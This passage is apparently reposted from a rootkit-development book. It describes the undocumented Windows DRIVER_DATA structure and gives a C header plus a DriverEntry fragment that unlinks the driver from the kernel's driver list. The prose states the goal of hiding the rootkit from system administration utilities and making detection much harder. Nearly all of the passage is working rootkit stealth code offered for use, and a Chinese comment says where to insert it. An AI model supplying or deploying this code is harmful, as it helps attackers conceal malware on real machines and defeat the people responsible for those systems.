DRIVER_DATA is part of an undocumented, internal Windows operating system 
structure. Among other things, the structure holds the pointers to the next and 
previous device drivers in the device driver list. Because the rootkit developed in 
this chapter is implemented as a device driver, removing the rootkit’s entry from 
the device driver list will conceal it from system administration utilities, making 
detection much more difficult:



// Copyright Ric Vieler, 2006
// Support header for Ghost.c

#ifndef _GHOST_H_
#define _GHOST_H_

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;

typedef struct _DRIVER_DATA
{
 LIST_ENTRY listEntry;
 DWORD  unknown1;
 DWORD  unknown2;
 DWORD  unknown3;
 DWORD  unknown4;
 DWORD  unknown5;
 DWORD  unknown6;
 DWORD  unknown7;
 UNICODE_STRING path;
 UNICODE_STRING name;
} DRIVER_DATA;

#endif

//DriverEntry函数中加入下面的代码
// Hide this driver
 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));
 if( driverData != NULL )
 {
  // unlink this driver entry from the driver list
  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
 }